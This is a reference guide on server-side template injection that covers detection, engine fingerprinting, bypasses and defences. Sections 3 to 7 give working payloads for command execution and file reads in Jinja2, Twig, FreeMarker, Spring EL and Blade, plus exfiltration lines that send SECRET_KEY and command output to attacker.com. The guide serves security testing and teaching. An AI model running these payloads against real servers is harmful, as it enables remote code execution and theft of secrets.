Comprehensive SSTI Guide

A practitioner’s reference for Server-Side Template Injection — template engine vulnerabilities, exploitation techniques, payload development, framework-specific attacks, and defense strategies. Covers detection methodologies, engine-specific exploitation, and secure templating practices. Compiled from 20 research sources.


Table of Contents

  1. Fundamentals
  2. Detection & Identification
  3. Template Engine Exploitation
  4. Framework-Specific Attacks
  5. Payload Development
  6. Advanced Exploitation
  7. Bypass Techniques
  8. Testing Methodology
  9. Secure Implementation
  10. Detection & Prevention

1. Fundamentals

SSTI Attack Surface

Template ContextRisk LevelCommon Locations
User Input RenderingCriticalEmail templates, reports, dynamic pages
Configuration FilesHighTemplate-based configs, dynamic routing
Error MessagesMediumCustom error pages, debug output
Log MessagesLowLog formatting, audit trails

Template Engine Landscape

EngineLanguagePopularityExploitation Difficulty
Jinja2PythonVery HighMedium
TwigPHPHighMedium
FreeMarkerJavaHighHigh
VelocityJavaMediumHigh
ThymeleafJavaMediumMedium
SmartyPHPMediumLow
MakoPythonLowLow

2. Detection & Identification

Detection Methodology

SSTI DETECTION FLOW:
1. Identify template injection points
2. Test mathematical expressions
3. Analyze error messages
4. Determine template engine
5. Craft engine-specific payloads

Basic Detection Payloads

Test CasePayloadExpected Result
Mathematical${7*7}49 if vulnerable
Mathematical{{7*7}}49 if vulnerable
Mathematical<%=7*7%>49 if vulnerable
String Concatenation${'a'+'b'}ab if vulnerable
Function Call${T(java.lang.System).getProperty('user.name')}Username if Spring EL

Template Engine Fingerprinting

IDENTIFICATION DECISION TREE:
├── {{7*7}} = 49
│   ├── Jinja2 (Python)
│   ├── Twig (PHP) 
│   └── Nunjucks (Node.js)
├── ${7*7} = 49
│   ├── FreeMarker (Java)
│   ├── Velocity (Java)
│   └── Spring EL (Java)
├── <%=7*7%> = 49
│   ├── ERB (Ruby)
│   └── ASP Classic
└── {7*7} = 49
    └── Smarty (PHP)

3. Template Engine Exploitation

Jinja2 (Python) Exploitation

Attack VectorPayloadImpact
Basic RCE{{config.__class__.__init__.__globals__['os'].popen('id').read()}}Command execution
Subprocess{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['subprocess'].check_output('whoami',shell=True)}}Command execution
File Read{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}File access
Config Access{{config.SECRET_KEY}}Sensitive data exposure

Twig (PHP) Exploitation

TWIG ATTACK PATTERNS:
├── Filter Abuse
│   ├── {{_self.env.registerUndefinedFilterCallback("exec")}}
│   ├── {{_self.env.getFilter("id")}}
│   └── {{["id"]|filter("system")}}
├── Function Injection
│   ├── {{_self.env.registerUndefinedFunction("exec")}}
│   └── {{_self.env.getFunction("system")}}
└── Object Injection
    ├── {{app.request.query.get('cmd')|passthru}}
    └── {{dump(app)}} (information disclosure)

FreeMarker (Java) Exploitation

TechniquePayloadDescription
Object Creation<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}Command execution
Static Method Call${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()}Process creation
File System Access<#assign fos=freemarker.template.utility.ObjectConstructor("java.io.FileOutputStream","/tmp/test")>File manipulation

4. Framework-Specific Attacks

Spring Framework (Java)

ContextPayloadImpact
Spring EL${T(java.lang.Runtime).getRuntime().exec('id')}RCE
SpEL Injection#{T(java.lang.System).getProperty('user.name')}Information disclosure
Request Context${@requestMappingHandlerMapping.getApplicationContext().getEnvironment().getProperty('java.version')}Environment access

Django (Python)

DJANGO TEMPLATE ATTACKS:
├── Debug Information
│   ├── {{settings.SECRET_KEY}}
│   ├── {{settings.DATABASES}}
│   └── {{settings.DEBUG}}
├── Object Traversal
│   ├── {{request.META}}
│   ├── {{request.user}}
│   └── {{request.session}}
└── Filter Abuse
    ├── Custom filters with dangerous functions
    └── Template tag injection

Laravel (PHP)

Attack TypePayloadResult
Blade RCE@php(system('id')) @endphpCommand execution
Variable Access{{$app->make('config')->get('database.default')}}Configuration disclosure
Helper Function{{app('Illuminate\Contracts\Console\Kernel')->call('route:list')}}Application introspection

5. Payload Development

Payload Construction Strategy

PAYLOAD DEVELOPMENT PROCESS:
├── Environment Discovery
│   ├── Available classes/modules
│   ├── Security restrictions
│   └── Execution context
├── Bypass Development
│   ├── Filter evasion
│   ├── Character restrictions
│   └── Length limitations
└── Payload Optimization
    ├── Minimize detection
    ├── Maximize impact
    └── Ensure reliability

Common Payload Patterns

GoalPython/Jinja2PHP/TwigJava/FreeMarker
List Classes{{''.__class__.__mro__[1].__subclasses__()}}{{dump()}}<#list .data_model?keys as key>${key}</#list>
Execute Command{{cycler.__init__.__globals__.os.popen('id').read()}}{{_self.env.registerUndefinedFilterCallback("system")}}<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Read File{{get_flashed_messages.__globals__['current_app'].open_resource('../../../etc/passwd').read()}}{{include('/etc/passwd')}}<#assign file="freemarker.template.utility.ObjectConstructor"?new()("java.io.File","/etc/passwd")>${file?string}

6. Advanced Exploitation

Blind SSTI Exploitation

Detection MethodPayloadVerification
Time-based{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['time'].sleep(5)}}Response delay
DNS Exfiltration{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup whoami.attacker.com').read()}}DNS logs
HTTP Callback{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['urllib'].request.urlopen('http://attacker.com/'+config.SECRET_KEY)}}HTTP logs

Sandbox Escape Techniques

SANDBOX BYPASS METHODS:
├── Python/Jinja2
│   ├── __builtins__ access via globals
│   ├── Class traversal to dangerous modules
│   └── Import statement reconstruction
├── Java/FreeMarker
│   ├── ObjectConstructor for arbitrary class instantiation
│   ├── Static method calls via ?new()
│   └── Reflection API abuse
└── PHP/Twig
    ├── Filter/function registration
    ├── Object property access
    └── Include/eval function calls

7. Bypass Techniques

Filter Evasion

RestrictionBypass TechniqueExample
Keyword BlacklistString concatenation{{'sy'+'stem'}}
Character FilteringUnicode/Encoding{{'\u0073\u0079\u0073\u0074\u0065\u006d'}}
Length LimitsShortened payloads{{lipsum.__globals__}}
Quotes BlockedString methods`{{request.args.cmd

WAF Bypass Strategies

WAF EVASION TECHNIQUES:
├── Encoding Variations
│   ├── URL encoding (%7B%7B)
│   ├── Unicode encoding (\u007B\u007B)
│   └── HTML entity encoding (&lbrace;&lbrace;)
├── Structure Manipulation
│   ├── Whitespace insertion {{  7*7  }}
│   ├── Comment insertion {# comment #}
│   └── Nested expressions {{7*{{7}}}}
└── Payload Fragmentation
    ├── Multi-step injection
    ├── Context-dependent payloads
    └── Request splitting

8. Testing Methodology

Manual Testing Workflow

PhaseActivitiesTools/Techniques
DiscoveryInput point identificationBurp Suite, manual analysis
DetectionTemplate injection testingMathematical expressions, error analysis
IdentificationTemplate engine fingerprintingSpecific syntax testing
ExploitationPayload developmentEngine documentation, trial and error
Impact AssessmentPrivilege escalation, data accessFull exploitation chains

Automated Testing Tools

SSTI TESTING ARSENAL:
├── Detection Tools
│   ├── tplmap (comprehensive scanner)
│   ├── SSTImap (exploitation framework)
│   └── Burp extensions (various)
├── Payload Generators
│   ├── PayloadsAllTheThings (payload collection)
│   ├── SecLists (template payloads)
│   └── Custom scripts
└── Framework-Specific
    ├── j2eeTester (Java templates)
    ├── TwigSecurityChecker (Twig)
    └── JinjaSecurityScanner (Jinja2)

9. Secure Implementation

Secure Template Design Principles

PrincipleImplementationSecurity Benefit
Input ValidationStrict allowlist validationPrevents injection
Context IsolationSeparate template contextsLimits impact
Minimal PrivilegesRestricted template capabilitiesReduces attack surface
Output EncodingAutomatic encodingPrevents XSS

Framework-Specific Security

SECURE CONFIGURATION:
├── Jinja2/Django
│   ├── autoescape=True (XSS prevention)
│   ├── Restrict dangerous globals
│   └── Custom filter validation
├── Twig/Symfony
│   ├── Strict mode enabled
│   ├── Sandbox mode for user content
│   └── Function/filter allowlisting
├── FreeMarker/Spring
│   ├── Restricted method calls
│   ├── Template loading restrictions
│   └── API access controls
└── General Practices
    ├── Pre-compile templates
    ├── Validate all inputs
    └── Monitor template rendering

10. Detection & Prevention

Runtime Protection

ControlImplementationEffectiveness
Input SanitizationRemove template syntaxHigh (if comprehensive)
Template SandboxingRestricted execution environmentMedium (bypass possible)
Content Security PolicyRestrict dynamic contentLow (server-side attack)
Web Application FirewallPattern-based blockingMedium (bypass common)

Monitoring & Detection

DETECTION STRATEGIES:
├── Log Analysis
│   ├── Template rendering errors
│   ├── Unusual template patterns
│   └── Performance anomalies
├── Runtime Monitoring
│   ├── Template execution time
│   ├── Memory consumption
│   └── System call monitoring
└── Security Scanning
    ├── Regular SAST scans
    ├── DAST testing
    └── Dependency vulnerability checks

Incident Response

PhaseActionsConsiderations
DetectionLog analysis, alert investigationFalse positive filtering
ContainmentTemplate access restrictionService availability
EradicationVulnerable template removalCode deployment
RecoverySecure template implementationTesting requirements
Lessons LearnedProcess improvementTraining needs

Key Takeaways

  1. Input Validation: Never trust user input in template contexts
  2. Template Isolation: Separate user-controlled and system templates
  3. Minimal Privileges: Restrict template engine capabilities
  4. Regular Testing: Include SSTI in security testing processes
  5. Framework Updates: Keep template engines updated with security patches

This guide compiles practical SSTI knowledge from 20 research sources. Template injection vulnerabilities remain common due to the complexity of modern template engines and their powerful features.